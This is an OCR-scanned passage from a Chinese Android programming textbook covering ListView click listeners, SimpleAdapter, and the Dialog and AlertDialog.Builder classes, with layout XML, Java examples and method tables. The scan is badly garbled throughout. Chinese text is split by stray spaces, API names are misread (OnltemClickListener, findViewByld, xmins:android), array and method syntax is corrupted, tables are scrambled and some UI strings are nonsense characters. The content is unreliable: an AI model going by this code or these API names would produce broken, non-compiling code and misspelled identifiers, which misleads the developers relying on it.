public abstract void onNothingSelected (AdapterView<?> parent) 
| 
(2) 单 击 ListView 项 监听 接口 : AdapterView.OnItemClickListener 
public interface AdapterView.OnltemClickListener { 
jp 
* 单 击 ListView 选项 时 触发 
* @param parent 取得 AdapterView 对 象 
* @param view 取得 单 击 AdapterView 的 父 组 件 
* @param position 取得 Adapter 的 操作 位 置 
* @param id 取得 ListView 所 在 行 的 编号 
public abstract void onltemClick (AdapterView<?> parent, View view, int position, long id) ; 


| 
(3) 长 按 ListView 项 监听 接口 : AdapterView.OnItemLongClickListener 
public interface AdapterView.OnltemLongClickListener { 
jp 
* 长 按 ListView 选项 时 触发 
* @param parent 取得 AdapterView 对 象 
* @param view 取得 单 击 AdapterView 的 父 组 件 
* @param position 取得 Adapter 的 操作 位 置 
* @param id 取得 ListView 所 在 行 的 编号 
public abstract boolean onltemLongClick (AdapterView<?> parent, View view, int position, 
long id) 
b 
通过 以 上 3 个 事件 监听 接口 可 以 发 现 ， 不 管 是 何 种 事件 处 理 方法 ， 都 会 存在 以 下 几 个 参数 。 
回 AdapterView<?> parent: 表示 操作 的 AdapterView 对 象 。 
回 View view: 取得 操作 AdapterView 的 父 组 件 ， 一 般 都 是 ListView 显示 时 所 使 用 的 布局 
回 intposition: 取得 Adapter 的 操作 数据 项 的 索引 。 
long id: 取得 发 生 的 ListView 显示 行 的 编号 。 
在 这 些 参数 中 ， 主 要 使 用 position 参数 ， 可 以 直接 通过 此 参数 取得 操作 资源 的 Adapter 中 指 


Ff ListView 


项 监听 ) 的 操作 ， 而 其 他 的 操作 读者 可 以 自行 实验 。 
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【 例 7-13】 定义 ListView 显示 时 所 需要 的 布局 文件 一 一 data_list.xml 


<?xml version="1.0" encoding="utf-8"?> 


<TableLayout // 定 义 表格 布局 
xmins:android="http:/schemas.android.com/apK/res/android" 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content> // 布 局 管理 器 高 度 为 文字 高 度 
<TableRow> /定义 表格 行 
<ImageView /定义 图 片 显示 组 件 
android:id="@+id/icon” // 组 件 ID， 程 序 中 使 用 
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android:layout_height= "wrap_content” // 组 件 高 度 为 图 片 高 度 
android:layout_width="wrap_content” 1// 组 件 宽度 为 图 片 宽度 
android:src="@drawable/file_icon"/> /1/ 组 件 显示 图 片 
<TextView // 定 义 文本 显示 组 件 
android:id="@+id/_id”" // 组 件 ID， 程 序 中 使 用 
android:textSize="12px” // 文 字 大 小 为 12 像素 
android:gravity="center_vertical” // 显 示 内 容 垂直 居中 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content"/> // 组 件 宽 度 为 文字 宽度 
<TextView /定义 文本 显示 组 件 
android:id="@+id/name” // 组 件 ID， 程 序 中 使 用 
android:textSize="12px” // 文 字 大 小 为 12 像素 
android:gravity="center_vertical” // 显 示 内 容 垂 直 居中 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_ width="wrap_contenty> // 组 件 宽度 为 文字 宽度 
</TableRow> 


</TableLayout> 
本 程序 依然 采用 表格 布局 的 方式 显示 所 有 的 数据 ， 而 且 在 以 后 所 讲解 的 大 部 分 ListView 应 
用 中 ， 也 都 会 采用 表格 的 方式 进行 布局 。 
【 例 7-14】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/info”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:gravity="center_horizontal"/> // 所 有 文字 水 平 居 中 显示 
<ListView // 定 义 ListView 组 件 
android:id="@+id/datalist" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 7-15】 定义 Activity 程序 一 一 MyListViewDemo 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener; 
import android.widget.ListView; 
import android.widget.SimpleAdapter 
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import android.widget. TextView; 
public class MyListViewDemo extends Activity { /1/ 继 承 Activity 类 
private String data[[ = new String[0 {{ "01", "北京 魔 乐 科技 " }， 
{ "02", "www.mldnjava.cn" }, { "03", "讲师 : 李兴华 " }, 
{"04", "中 国 高 校 讲课 联盟 " }, { "05", "www.jiangker.com" }, 
{"06", "咨询 邮箱 : mldnqa@163.com" }, {"07", "客户 服务 : mldnkf@163.com" }, 
{ "08", "客户 电话 : (010) 51283346" }, { "09", " 魔 乐 社区 : bbs.mldn.cn" }， 
{ "10", "程序 员 招 聘 网 :http://www.javajob.cn/" }} /定义 显示 的 数据 
private List<Map<String, String>> list = 


new ArrayList<Map<String, String>>(); /保存 所 有 的 List 数据 
private SimpleAdapter simpleAdapter = null; // 适 配器 
private ListView datalist = null ; /定义 ListView 
private TextView info = null ; /定义 TextView 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main) ; // 设 置 布局 管理 器 
this.datalist = (ListView) super.findViewByld(R.id.datalist) ; // 取 得 组 件 
this.info = (TextView) super .findViewByld(R.id.info) ; // 取 得 组 件 


for (int x = 0; x < this.data.length; x++) { // 循 环 设置 数据 
Map<String, String> map = new HashMap<String, String>(); /定义 Map 集合 
map.put("_id", data[x][0]); // 设 置 _id 组 件 显示 数据 
map.put("name", data[x][1]); // 设 置 name 组 件 显示 数据 
this listadd(map); // 增 加 数据 
b 
this.simpleAdapter = new SimpleAdapter(this, // 实 例 化 SimpleAdapter 
this list， // 要 包装 的 数据 集合 
R.layout.data_list, // 要 使 用 的 显示 模板 
new String[] { "_id", "name" }, // 定 义 要 显示 的 Map 的 key 
new int] {R.id._ig, R.id.name }); // 与 模板 中 的 组 件 匹 配 
this.datalist.setAdapter(this.simpleAdapter) ; // 设 置 显示 数据 
this.datalist.setOnltemClickListener(new OnltemClickListenerlImp!l()) ; 
bl 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> parent, View view, 
int position, long id) { 
Map<String,String> map = (Map<String,String>) MyListViewDemo 
.this.simpleAdapter.getltem(position) ; // 取 得 列表 项 
String id = map.get("_id") ; // 取 得 key 为 _id 的 内 容 
String name = map.get("name") ; // 取 得 key 为 name 的 内 容 
MyListViewDemo.this.info.setText(" 选 中 的 数据 ID 是 : " 
+ _id +"， 名 称 是 : "+ name); // 设 置 文 字 提示 信息 
} 
bh 


} 
在 本 程序 中 为 ListView 设置 了 一 个 选项 单 击 的 事件 ， 当 用 户 选 中 了 某 个 选项 之 后 ， 会 在 


个 文本 显示 组 件 中 显示 所 选择 选项 的 信息 。 本 程序 的 运行 效果 如 图 7-9 所 示 。 
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本 5554:And 于 


图 7-9 ListView 事件 
7.3 对话 框 : Dialog 


在 图 形 界面 中 ， 对 话 框 也 是 人 机 交互 的 一 种 重要 形式 ， 程 序 可 以 通过 对 话 框 对 用 户 进行 一 
些 信息 的 提示 ， 而 用 户 也 可 以 通过 对 话 框 和 程序 进行 一 些 简单 的 交互 操作 。 

在 Android 的 开发 中 ， 所 有 的 对 话 框 都 是 从 android.app.Dialog 类 继承 而 来 的 ， 此 类 的 继承 
结构 如 下 : 

java.lang.Object 


b android.app.Dialog 
可 以 发 现 ， 此 类 直接 继承 自 Object 类 , 与 View 类 没有 任何 继承 关系 。 在 此 类 中 定义 的 常用 
方法 如 表 7-5 所 示 。 


了 提示 

Dialog 类 的 方法 与 View 类 类 似 。 

对 于 android.app.Dialog 类 中 所 提供 的 大 量 方法 都 与 android.view.View 类 提供 的 方法 类 
似 ， 所 以 在 本 书 中 不 再 重复 列 出 ， 有 兴趣 的 读者 可 以 查阅 Android 的 DOC 文档 自行 比较 。 


表 7-5 Dialog 类 定义 的 常用 方法 


描述 
public void ee ee title) 通 设置 对 话 框 的 显示 标题 
设置 对 话 框 的 显示 标题 ， 内 容 为 资 


public void setTitle(int titleId) 


源 文件 指定 


ublic void hide 隐藏 对 话 框 


ublic boolean isShowing 判断 对 话 框 是 否 显示 
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No 为 法 描 述 

6 ublic void setContentView(View view, 设置 View 组 件 

时 ublic void setContentView(int layoutResID 设置 View 组 件 的 ID 

8 public void dismiss() 隐藏 对 话 框 

9 public void closeOptionsMenu() 菜单 

10 | public void setDismissMessage(Message msg) 设置 隐藏 对 话 框 时 的 消息 
11 | public void setCancelable(boolean flag) 设置 是 否 可 以 取消 


设置 对 话 框 取消 时 的 消息 
取消 对 话 框 ， 与 dismiss0 方 法 类 似 
取得 Window 对 象 


12 | public void setCancelMessage(Message msg) 


13 | public void cancel0 
14 ublic Window getWindow' 
public void setOnShowListener(DialogInterface. 


15 设置 对 话 框 打开 时 监听 

OnShowListener listener) 打开 

ij6 eli wo en (DialogInterface. 设置 对 话 框 隐藏 时 监听 
OnDismissListener listener) 

ublic void setOnCancelListener(DialogInterface. ee a 

17 |? mp 设置 对 话 框 取消 时 监听 


OnCancelListener listener) 
- 般 在 创建 对 话 框 时 都 会 使 用 AlertDialog 类 完成 ， 当 然 在 Android 中 也 提供 了 其 他 对 话 框 
类 型 ， 如 日 期 对 话 框 (DatePickerDialog ) 、 时 间 对 话 框 (TimePickerDialog ) 和 进度 对 话 框 
(ProgressDialog) 等 ， 下 面 一 一 进行 讲解 。 


7.3.1 _ AlertDialog 和 AlertDialog.Builder 


警告 框 (AlertDialog) 是 项 目 中 出 现 的 最 简单 的 一 种 对 话 框 ， 主 要 目的 是 为 用 户 显示 一 条 警 
告 信息 。AlertDialog 类 也 是 对 话 框 中 使 用 最 多 的 一 个 类 ， 而 且 是 Dialog 的 直接 子 类 ， 其 继承 结 
构 如 下 : 


java.lang.Object 
b android.app.Dialog 
bandroid.app.AlertDialog 
但 是 如 果 要 想 实例 化 AlertDialog 类 ， 人 往往 要 依靠 其 内 部 类 AlertDialog Builder 完成 ,在 
AlertDialog.Builder 类 中 定义 的 常用 方法 如 表 7-6 所 示 。 
表 7-6 AlertDialog.Builder 类 的 常用 方法 
方 :3 描 ” 述 
public AlertDialog.Builder(Context context) 创建 AlertDialog. Builder 对象 
public AlertDialog.Builder setMessage (int messageId 设置 显示 信息 的 资源 ID 


public AlertDialog.Builder setMessage (CharSequence 


设置 显示 信息 的 字符 串 


message) 
public AlertDialog. Builder setView(View view) 普 i 设置 显示 的 View 组 件 
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续 表 
描 ” 述 
public AlertDialog Builder setSingleChoiceItems 设置 对 话 框 显示 一 个 单 选 的 
(CharSequence[] items, int checkedItem, DialogInterface. 普 i List， 指 定 默认 选中 项 ， 同 时 
OnClickListener listener) 设置 监听 处 理 操作 
public AlertDialog.Builder setSingleChoiceItems 设置 对 话 框 显示 一 个 单 选 的 
(ListAdapter adapter, int checkedItem, DialogInterface. 普 il List， 指 定 默认 选中 项 ， 同 时 
OnClickListener listener) 设置 监听 处 理 操作 


public AlertDialog.Builder setMultiChoiceItems (CharSequence[] 
items, boolean[] checkedItems, DialogInterface. 
OnMultiChoiceClickListener listener) 


设置 对 话 框 显示 一 个 复 选 的 
List， 同 时 设置 监听 处 理 操作 


public AlertDialog Builder setPositiveButton (CharSequence| 为 对 话 框 添加 一 个 确定 按钮 ， 
text DialogInterface.OnClickListener listener) 同时 设置 监听 操作 


为 对 话 框 添加 一 个 确定 按钮 ， 
显示 内 容 由 资源 文件 指定 ， 并 
设置 监听 操作 

public AlertDialog.Builder setNegativeButton (CharSequence Sy 为 对 话 框 设置 一 个 取消 按钮 ， 
text, DialogInterface.OnClickListener listener) 几 并 设置 监听 操作 

为 对 话 框 设置 othe 
显示 内 容 由 资源 文件 指定 ，# 
设置 监听 操作 

设置 一 个 普通 按钮 ， 并 设置 监 
听 操 作 

设置 一 个 普通 按钮 ， 显 示 内 容 
由 资源 文件 指定 ， 并 设置 监听 


public AlertDialog.Builder setPositiveButton (int textId, 


DialogInterface.OnClickListener listener) 


public AlertDialog.Builder setNegativeButton (int textId, 
DialogInterface.OnClickListener listener) 


public AlertDialog.Builder setNeutralButton(int textId, 
DialogInterface.OnClickListener listener) 


public AlertDialog.Builder setItems(CharSequence[] items, ee 将 信息 内 容 设 置 为 列表 项 ， 同 
gInterface.OnClickListener listener) 时 设置 监听 操作 

将 信息 内 容 设置 为 列表 项 ， 列 

普通 | 表 项 内 容 由 资源 文件 指定 ， 同 

时 设置 监听 操作 

public AlertDialog createO 普 i 创建 AlertDialog 的 实例 化 对 象 


public AlertDialog.Builder setItems(int itemsId,DialogInterface. 
OnClickListener listener) 


public AlertDialog. Builder setIcon(Drawable icon) 普 j 设置 显示 的 图 标 


public AlertDialog Builder inti 普通 ”| 设置 要 显示 图 标的 资源 ID 


下 面 首先 演示 一 个 最 简单 的 对 话 框 ， 本 程序 只 是 显示 对 话 框 ， 而 不 做 任何 其 他 处 理 。 
【 例 7-16】 创建 一 个 简单 的 对 话 框 

package org.Ixh.demo; 

import android.app.Activity; 

import android.app.AlertDialog; 

import android.app.Dialog; 

import android.os.Bundle; 
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public class MyDialogDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
Dialog dialog = new AlertDialog.Builder(this) 
.setTitle(" 对 话 框 ") // 设 置 标题 
.setMessage(" 显 示 提 示人 信息。") // 显 示 信 息 
.setlcon(R.drawable.pic_m) // 设 置 显示 的 Icon 
.create(); // 创 建 Dialog 
dialog.show(); /显示 对 话 框 


} 

本 程序 直接 使 用 AlertDialog.Builder 创建 了 一 个 对 话 框 ， 并 且 使 用 setTitle0 设 置 了 对 话 框 的 
标题 ， 使 用 setMessage(0 设 置 了 对 话 框 的 提示 信息 ， 最 后 使 用 create0 方 法 创建 了 Dialog 类 的 对 
象 ， 并 使 用 show() 方 法 显示 对 话 框 。 程 序 的 运行 效果 如 图 7-10 所 示 。 


厅 对 话 框 


显示 提示 信息 。 


图 7-10 简单 对 话 杠 
此 对 话 框 比较 简单 ， 在 程序 运行 后 会 直接 弹出 ， 而 且 没 有 任何 操作 功能 ， 但 是 在 Android 
中 也 可 以 为 对 话 框 增加 按钮 组 件 。 下 面 创建 一 个 较 复杂 的 对 话 框 ， 在 此 程序 中 ， 将 通过 按钮 事 
件 进行 对 话 框 的 创建 。 
【 例 7-17】 在 main.xml 文件 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="horizontal" // 组 件 采用 水 平 排列 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 组 件 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 

android:id="@+id/mytext" // 此 组 件 ID， 程 序 中 使 用 
android:text=" 兆 商 懂 乐 箭 花 床 他 学 磁 " // 默 认 的 显示 文字 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button // 定 义 普通 按钮 
android:id="@+id/mybut” // 此 组 件 ID， 程 序 中 使 用 
android:text=" 励 民 " // 组 件 的 默认 显示 文字 
android:layout_width="wrap_content” // 组 件 的 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 的 高 度 为 文字 高 度 
</LinearLayout> 


本 配置 文件 定义 了 两 个 组 件 (TextView 和 Button) ， 当 用 户 单 击 按钮 (Button) 时 将 触发 
单 击 事件 ， 并 产生 对 话 框 。 
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【 例 7-18】 编写 Activity 程序 ， 显 示 对 话 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
public class MyDialogDemo extends Activity { 
private Button mybut = null ; // 定 义 按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 

this.mybut = (Button) super.findViewByld(R.id.mybut) ; // 取 得 组 件 

this.mybut.setOnClickListener(new OnClickListenerlmpl()) ; /设置 单 击 事件 
private class OncClickListenerImpl implements OnClickListener { 

@Override 


public void onClick(View v) { 
Dialog dialog = new AlertDialog.Builder(MyDialogDemo.this) // 实 例 化 对 象 


.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle(" 确 定 删除 ?") // 设 置 显示 标题 
-setMessage(" 您 确定 要 删除 该 条 信息 吗 ? ") // 设 置 显示 内 容 
.setPositiveButton(" 删 除 "， // 增 加 一 个 确定 按钮 


new Dialoglnterface.OnClickListener() { /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 


} 
)).setNeutralButton(" 查 看 详情 "， // 增 加 普通 按钮 
new Dialoglnterface.OncClickListener(){ /设置 监听 操作 
public void onClick(Dialoglnterface dialog, 
int whichButton) { /| 单 击 事件 


} 
)).setNegativeButton(" 取 消 "， // 增 加 取消 按钮 
new Dialoglnterface.OnClickListener(){ /设置 操作 监 
public void onClick(Dialoglnterface dialog, 


int whichButton){ // 单 击 事件 
} 
}).create(); // 创 建 Dialog 
dialog.show(); /显示 对 话 框 
» // 单 击 事件 


} 
本 程序 在 按钮 事件 触发 之 后 通过 AlertDialog Builder 创建 了 一 个 对 话 框 ， 同 时 指定 了 对 话 框 
的 显示 图 片 (setIcon() ) 、 显 示 标 题 (setTitle0 ) 、 显 示 信 息 (setMessage()) 、 确 定 按 钮 
(setPositiveButton()) 、 普 通 按钮 (setNeutralButton0) 以 及 取消 按钮 (setNegativeButton()， 
而 且 分 别 为 确定 按钮 和 取消 按钮 设置 了 相应 的 单 击 操作 事件 。 程 序 的 运行 效果 如 图 7-11 所 示 。 
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| 


厅 确定 出 除 ? 


确定 要 删除 该 条 


图 7-11 单 击 按钮 后 显示 对 话 框 


通过 本 程序 可 以 发 现 ， 程 序 只 是 达到 了 显示 对 话 框 的 目的 ， 而 并 没有 任何 具体 的 功能 。 在 
对 话 框 中 增加 按钮 时 ， 每 个 按钮 都 设置 了 DialogInterface.OnClickListener 事件 监听 接口 操作 对 
象 ， 此 接口 主要 负责 对 话 框 中 按钮 的 事件 处 理 操作 ， 其 定义 如 下 : 

public interface Dialoglnterface.OnClickListener { 


ja 
* 单 击 对话 框 时 触发 操作 
* @param dialog Dialog 的 父 接口 
* @param which 返回 选中 对 话 框 选项 的 位 置 (position) 
yy 
public abstract void onClick (Dialoglnterface dialog, int which) ; 
} 
通过 表 7-6 也 可 以 发 现 ， 所 有 的 对 话 框 在 设置 显示 按钮 时 才 会 同时 设置 对 话 框 的 操作 事件 ， 
而 单 击 操作 时 ， 会 通过 onClick0 方 法 中 的 which 参数 取得 单 击 选项 的 位 置 ， 但 1 
本 处 只 是 以 单 击 事件 接口 为 例 进行 的 说 明 , 而 实际 上 在 对 话 框 中 所 提供 的 事件 处 理 接 口 一 共有 6 
个 ， 如 表 7-7 所 示 。 


表 7-7 对话 框 事件 处 理 接口 


接口 名 称 
| DialogInterface.OnClickListener 
| DialogInterface.OnCancelListener 
| DialogInterface.OnDismissListener 
| DialogInterface.OnKeyListener 
DialogInterface.OnMultiChoiceClickListener 对 话 框 多 选 事 件 处 理 接 口 
对 话 框 显示 事件 处 理 接口 

下 面 再 编写 一 个 程序 演示 单 击 事件 的 处 理 操作 。 本 程序 的 功能 是 在 用 户 选择 退出 操作 时 ， 
将 弹出 对 话 框 提示 用 户 是 否 要 退出 程序 , 如 果 用 户 选择 退出 , 则 直接 使 用 Activity 类 中 的 fmishO 
方法 完成 ， 如 果 用 户 选 择 取 消 ， 则 隐藏 对 话 框 。 

【 例 7-19】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


描 述 
对 话 框 单 击 事件 处 理 接口 
对 话 框 取消 事件 处 理 接口 
对 话 框 隐藏 事件 处 理 接口 
对 话 框 键盘 事件 处 理 接 口 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apk/res/android” 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程序 中 使 用 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
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android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageButton /定义 图 片 按钮 
android:id="@+id/but” // 组 件 ID， 程 序 中 使 用 
android:src="@drawable/exit” 1/ 组 件 显示 图 片 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 图 片 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 只 定义 了 一 个 图 片 视图 , 而 在 Activity 程序 中 将 为 此 图 片 按钮 设置 一 个 监 
听 操 作 ， 当 用 户 单 击 此 按钮 之 后 将 询问 用 户 是 否 退 出 程序 。 
【 例 7-20】 定义 Activity 程序 ， 编 写 对 话 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface'; 
import android.os.Bundle; 
import android.view.KeyEvent'; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.ImageButton; 
public class MyDialogDemo extends Activity { 
private ImageButton but = null ; /定义 按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.but = (ImageButton) super.findViewByld(R.id.bub ; // 取 得 组 件 
this.but.setOnClickListener(new OnClickListenerImpl()) ; /设置 单 击 事件 
} 
private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyDialogDemo.this.exitDialog() ; // 提 示 退 出 对 话 框 
» /| 单 击 事件 
@Override 


public boolean onKeyDown(int keyCode, KeyEvent event) { 
if (keyCode == KeyEvent.KEYCODE_BACK) { // 如 果 是 手机 上 的 返回 键 
this.exitDialog(); /提示 退 出 对 话 框 
} 
return false; 
} 
private void exitDialog() { 
Dialog dialog = new AlertDialog.Builder(MyDialogDemo.this) // 实 例 化 对 象 


.setlcon(R.drawable.pic_m) /设置 显示 图 片 

.setTitle(" 程 序 退 出 ? ") /设置 显示 标题 

-SetMessage(" 您 确定 要 退出 本 程序 吗 ? ") /设置 显示 内 容 

.setPositiveButton(" 确 定 "， // 增 加 一 个 确定 按钮 
new DialogInterface.OnClickListener() { 1/ 设 置 操作 监 
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public void onClick(Dialoglnterface dialog, 


int whichButton) { 
MyDialogDemo.this .finish() ; 


} 
.setNegativeButton(" 取 消 ", 


new Dialoglnterface.OnClickListener(){ 


/ 单 击 
// 程 序 


// 增 加 
// 设 置 


public void onClick(Dialoglnterface dialog, 


int whichButton) { 


}).create(); 
dialog.show!(); 


} 


} 

本 程序 在 对 话 框 中 设置 了 两 个 按钮 : 确定 按 
钮 (PositiveButton) 和 取消 按钮 (NegativeButton)， 
当 用 户 单 击 “ 确 定 ” 按 钮 后 ， 将 调用 Activity 
程序 中 的 finish0 方 法 ， 此 方法 的 主要 功能 是 结 
束 当前 的 Activity 程序 ， 而 单 击 取消 按钮 后 ， 
对 话 框 将 隐藏 。 另 外 ， 考 虑 到 手机 按键 的 返回 
键 ， 所 以 在 本 程序 中 增加 了 一 个 键盘 的 事件 监 
听 ， 如 果 发 现 用 户 按 下 的 是 返回 键 ， 则 也 进行 
对 话 框 的 提示 。 程 序 的 运行 效果 如 图 7-12 所 示 。 

在 对 话 框 中 除了 可 以 显示 文本 信息 外 ， 也 
可 以 设置 列表 选项 ， 如 下 程序 将 采用 列表 的 形 
式 定义 对 话 框 内 容 。 

下 面 编 写 程序 ， 通 过 对 话 框 显示 一 组 单 选 按 
示 数 据 。 

【 例 7-21】 在 main.xml 文件 中 定义 组 件 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout 


外 


/| 单 击 


/创建 
/显示 


民 程序 退出 ? 


事件 
结束 


取消 按钮 
操作 监 


事件 


Dialog 
对 话 框 


您 确定 要 退出 本 程序 吗 ? 


1 于 二 L 


图 7-12 


// 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:id="@+id/MyLayout”" 
android:orientation="horizontal" 
android:layout_width="fill_parent”" 
android:layout_height="fill_ parent"> 
<TextView 

android:id="@+id/mych” 

android:text="™ 

android:layout_width="wrap_content”" 

android:layout_height="wrap_content"/> 
<Button 

android:id="@+id/mybut" 

android:text=" 效 帮 欢 奥 " 

android:layout_width="wrap_content”" 

android:layout_height="wrap_content"/> 

</LinearLayout> 


本 程序 定义 了 一 个 文本 框 和 一 个 按钮 ， 当 按钮 单 
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// 布 局 管理 器 ID， 程 序 


// 组 件 使 用 水 平 排列 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 屏幕 高 度 
/定义 文本 显示 组 件 


取消 


退出 Activity 程序 


了 1， 而 后 根据 用 户 选择 的 选项 ， 在 文本 框 中 显 


中 使 用 


// 组 件 ID， 程 序 中 使 用 


// 组 件 文字 

// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
/定义 普通 按钮 


/组 件 ID， 程 序 中 使 用 


// 黑 认 显示 文本 
// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 


事件 发 生 之 后 ， 会 在 屏 
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组 


选 按钮 的 对 话 框 ， 之 后 会 根据 用 户 的 选择 在 文本 框 中 显示 选中 的 选项 信息 。 


【 例 7-22】 定义 Activity 程序 ， 操 作对 话 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget. TextView; 
public class MyDialogDemo extends Activity { 


private Button mybut = null ; // 定 义 按钮 组 件 
private TextView mych = null ; // 定 义 文本 显示 组 件 
private String fruitData[] = new String[] {" 苹 果 "," 西 瓜 "," 水 蜜 桃 " ; /定义 选项 数据 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mych = (TextView) super.findViewByld(R.id.mych) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 

} 

private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 
Dialog dialog = new AlertDialog.Builder(MyDialogDemo.this) // 实 例 化 对 象 


.setlcon(R.drawable.pic_m) /设置 显示 图 片 
.SetTitle(" 请 选择 你 喜欢 吃 的 水 果 ? ") /设置 显示 标题 
.setNegativeButton(" 取 消 "， // 增 加 取消 按钮 
new DialogInterface.OnClickListener() { /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 
») 
.setltems(fruitData, 1/ 设置 列表 选项 


new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, 
int which){ /设置 显示 信息 
MyDialogDemo this.mych.setText(" 您 选择 的 水 果 是 : " 
+ fruitData[which]);// 设 置 文字 


} 
}).create(); 1/ 创建 Dialog 
dialog.show(); /显示 对 话 框 
从 // 单 击 事件 


} 
本 程序 在 按钮 (mybut) 上 设置 了 一 个 单 击 事件 ， 当 用 户 单 击 按钮 时 ， 会 将 默认 的 选择 项 


(fruitData, 字符 串 数组 定义 ) 直接 在 对 话 框 中 进行 显示 , 当 用 户 选 择 对 话 框 中 的 指定 选项 之 后 ， 
会 在 文本 框 (mych) 中 显示 选择 后 的 信息 。 程 序 的 运行 效果 如 图 7-13 所 示 。 
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硕 请 选择 你 喜欢 吃 的 水 果 ? 


ey 图 7-13 对话 框 中 显示 列表 项 
/提示 
通过 资源 文件 读 取 。 
以 上 程序 是 直接 将 所 有 要 显示 的 文字 信息 通过 对 象 数组 的 形式 在 Activity 中 进行 了 定 
如 果 有 需要 ， 用 户 也 可 以 直接 在 一 个 资源 文件 中 定义 。 
【 例 7-23】 定义 资源 文件 一 一 res\walues\fruit_data.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string-array name="fruit_/abels"> 
<item> 苹 果 </item> 
<item> 西 瓜 </item> 
<item> 水 蜜 桃 </item> 
</string-array> 
</resources> 
此 资源 文件 中 ， 将 所 有 的 对 话 框 的 选项 名 称 进行 了 定义 ， 以 后 找到 此 数组 的 ID 就 是 
fruit labels， 随 后 在 Activity 程序 之 中 修改 如 下 。 
【 例 7-24】 修改 Activity 程序 ， 让 其 可 以 直接 从 资源 文件 中 读 取 选 项 列表 (部 分 代码 ) 
.setltems(R.array.fruit_labels, /设置 列表 选项 
new Dialoglnterface.OnClickListener(){ 
public void onClick(Dialoglnterface dialog, 
int which) { /设置 显示 信息 
MyDialogDemo.this.mych 
.setText(" 您 选择 的 水 果 是 : " 


站 


+ MyDialogDemo.this /找到 MyView 对 象 
